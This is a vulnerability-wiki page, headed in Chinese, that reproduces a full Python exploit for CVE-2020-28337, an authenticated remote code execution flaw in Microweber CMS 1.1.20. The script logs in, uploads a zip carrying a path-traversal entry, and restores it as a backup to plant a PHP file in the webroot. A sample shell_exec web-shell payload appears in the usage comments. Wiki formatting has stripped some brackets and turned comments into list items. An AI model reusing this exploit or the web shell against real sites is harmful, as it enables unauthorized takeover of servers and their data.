Loading
0

CVE-2020-28337 Microweber CMS 1.1.20 远程代码执行漏洞

免费、自由、人人(PwnWiki.Com)可编辑的漏洞库

,

EXP

# Exploit Title: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated) 
# Date: 2020-10-31
# Exploit Author: sl1nki
# Vendor Homepage: https://microweber.org/
# Software Link: https://github.com/microweber/microweber/tree/1.1.20
# Version: <=1.1.20
# Tested on: Ubuntu 18.04
# CVE : CVE-2020-28337
#
# Example usage with default phpinfo() payload:
#     ./microweber_rce.py \
#         --hostname "http://microwebertest.com" \
#         --username "admin" \
#         --password "password123"
#
#
# Example usage with custom payload (shell_exec):
#     ./microweber_rce.py \
#         --hostname "http://microwebertest.com" \
#         --username "admin" \
#         --password "password123" \
#         --payload '<?php if (isset($_REQUEST"fexec")) {echo "<pre>" . shell_exec($_REQUEST"fexec") . "

";} ?>'

  1. Notes:
  2. * SSL verification is disabled by default
  3. * If for some reason the --target-path "/userfiles/cache
  1. !/usr/bin/python3
  1. /" doesn't work, "/userfiles/modules/" is a good one too.

import argparse
import re
import requests
import sys
import zipfile

from io import BytesIO

  1. Disable insecure SSL warnings

requests.packages.urllib3.disable_warnings()

class Microweber():

   def __init__(self, baseUrl, proxies=None):
       self.baseUrl = baseUrl
       self.proxies = proxies
       self.cookies = None
       self.loginUrl = "/api/user_login"
       self.uploadUrl = "/plupload"
       self.moveZipToBackupUrl = "/api/Microweber/Utils/Backup/move_uploaded_file_to_backup"
       self.restoreBackupUrl = "/api/Microweber/Utils/Backup/restore"
       self.targetPath = "/userfiles/cache/"
       self.targetFilename = "payload.php"
       self.zipPayloadName = "payload.zip"
   def makePostRequest(self, url, data=None, files=None, headers=None):
       return requests.post(self.baseUrl + url,
           data=data,
           files=files,
           headers=headers,
           cookies=self.cookies,
           proxies=self.proxies,
           verify=False
       )
   def makeGetRequest(self, url, params=None):
       return requests.post(self.baseUrl + url,
           params=params,
           cookies=self.cookies,
           proxies=self.proxies,
           verify=False
       )
   def login(self, username, password):
       res = self.makePostRequest(self.loginUrl, data={
           "username": username,
           "password": password
       })
       if res.status_code == 200 and 'success' in res.json() and res.json()'success' == "You are logged in!":
           print(f"+ Successfully logged in as {username}")
           self.cookies = res.cookies
       else:
           print(f"- Unable to login.  Status Code: {res.status_code}")
           sys.exit(-1)
   def createZip(self, path=None, filename=None, payload=None):
       # In-memory adaptation of ptoomey3's evilarc
   # https://github.com/ptoomey3/evilarc
       if payload == None:
           payload = "<?php phpinfo(); ?>"
       zd = BytesIO()
       zf = zipfile.ZipFile(zd, "w")
       # The custom Unzip class uses a path under the webroot for cached file extraction
       # /storage/cache/backup_restore/<md5 hash>/
       # so moving up 4 directories puts us at the webroot
       zf.writestr(f"../../../..{path}{filename}", payload)
       zf.close()
       return zd
   def uploadZip(self, zipData):
       # Upload the zip data as a general file
       res = self.makePostRequest(self.uploadUrl,
           headers={"Referer": ""},
           data={
               "name": self.zipPayloadName,
               "chunk": 0,
               "chunks": 1
           },
           files={"file": (self.zipPayloadName, zipData.getvalue(), "application/zip")}
       )
       if res.status_code == 200:
           print(f"+ Successfully uploaded: {self.zipPayloadName}")
           j = res.json()
           print(f"+     URL: {j'src'}")
           print(f"+     Resulting Filename: {j'name'}")
           self.zipPayloadName = j'name'
       else:
           print(f"- Unable to upload: {self.zipPayloadName} (Status Code: {res.status_code})")
           sys.exit(-1)
   def getAbsoluteWebRoot(self):
       # Determine the webroot using the debug output and the DefaultController.php path
       res = self.makeGetRequest("", params={
           "debug": "true"
       })
       if res.status_code != 200:
           print(f"- Unable to collect debug information.  Bad server response: {res.status_code}")
           sys.exit(-1)
       target = "src/Microweber/Controllers/DefaultController.php"
       m = re.findall('(\/\w+)\/src\/Microweber\/Controllers\/DefaultController\.php', res.text)
       if len(m) == 1:
           return m0
       else:
           print(f"- Unable to determine the webroot using {target}.  Found {len(m)} matches")
   def moveZipToBackup(self):
       # Move the uploaded zip file into the backup directory
       webRoot = self.getAbsoluteWebRoot()
       hostname = self.baseUrl.split("//")1
       src = f"{webRoot}/userfiles/media/{hostname}/{self.zipPayloadName}"
       res = self.makeGetRequest(self.moveZipToBackupUrl, params={
           "src": src
       })
       if res.status_code == 200 and 'success' in res.json() and res.json()'success' == f"{self.zipPayloadName} was uploaded!":
           print(f"+ Successfully moved {self.zipPayloadName} to backup")
       else:
           print(f"- Unable to move zip to backup ({res.status_code})")
           sys.exit(-1)
   def restoreBackup(self, filename):
       # With the zip file in the backup directory, 'restore' it, which will cause it to be extracted unsafely
       res = self.makePostRequest(self.restoreBackupUrl, data={
      "id": filename
       })
       if res.status_code == 200 and "Backup was restored!" in res.text:
           print(f"+ Successfully restored backup {filename}")
       else:
           print(f"- Unable to restore backup {filename}")
           sys.exit(-1)
   def exploit(self, payload=None):
       zipData = m.createZip(self.targetPath, self.targetFilename, payload=payload)
       m.uploadZip(zipData)
       m.moveZipToBackup()
       m.restoreBackup(self.zipPayloadName)
       print(f"+ Successfully uploaded payload to {self.targetFilename}!=")
       print(f"+     Visit: {self.baseUrl}{self.targetPath}{self.targetFilename}")

if __name__ == "__main__":

   parser = argparse.ArgumentParser()
   parser.add_argument("--hostname", required=True, dest="hostname", help="Microweber hostname with protocol (e.g. http://microwebertest.com)")
   parser.add_argument("--http-proxy", required=False, dest="http_proxy", help="HTTP Proxy (e.g. http://127.0.0.1:8000)")
   parser.add_argument("--username", "-u", required=True, dest="username", help="Username of administrative user")
   parser.add_argument("--password", "-p", required=True, dest="password", help="Password of administrative user")
   parser.add_argument("--payload", required=False, dest="payload", help="Payload contents.  Should be a string of PHP code.  (default is phpinfo() )")
   # Uncommon args
   parser.add_argument("--target-file", required=False, dest="target_file", help="Target filename of the payload (default: payload.php")
   parser.add_argument("--target-path", required=False, dest="target_path", help="Target path relative to webroot for the payload (default: /userfiles/cache/")
   parser.add_argument("--zip-name", required=False, dest="zip_name", help="File name of tmp backup zip")
   args = parser.parse_args()
   proxies = None
   if args.http_proxy:
       proxies = {
           "http": args.http_proxy
       }
   m = Microweber(args.hostname, proxies=proxies)
   if args.target_file:
       m.targetFilename = args.target_file
   if args.target_path:
       m.targetPath = args.target_path
   if args.zip_name:
       m.zipPayloadName = args.zip_name
   m.login(args.username, args.password)
   m.exploit(args.payload)
           

免费、自由、人人可编辑的漏洞库--pwnwiki.com